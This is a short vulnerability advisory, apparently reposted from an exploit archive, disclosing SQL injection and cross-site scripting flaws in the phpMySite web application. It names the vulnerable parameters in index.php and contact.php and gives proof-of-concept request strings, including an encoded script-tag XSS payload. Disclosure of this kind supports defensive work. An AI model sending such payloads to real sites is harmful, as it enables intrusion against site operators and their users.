phpMySite (XSS/SQLi) Multiple Remote Vulnerabilities

====================================================
phpMySite (XSS/SQLi) Multiple Remote Vulnerabilities
====================================================

=================================================================
[~] phpMySite (XSS/SQLi) Multiple Remote Vulnerabilities
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010                   
## Software Link: http://www.phpmysite.com/
## Version: N/A                                                
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects index.php
// Can be exploited VIA the GET variable 'action'

[#] Exploit / POC
index.php?action=${SQLINJECTIONHERE}&[email protected]


[ XSS ]
---------------------------------
// This vulnerability affects contact.php
// Can be exploited via the following POST variables:
// name, city, email, state, message

[#] Exploit / POC
name=Crux&city=1>"><ScRiPt%20%0d%0a>alert(420966203277)%3B</ScRiPt>&state=NY&email=sample%40email%2Etst&[email protected]&[email protected]t

=================================================================    



#  0day.today [2018-03-14]  #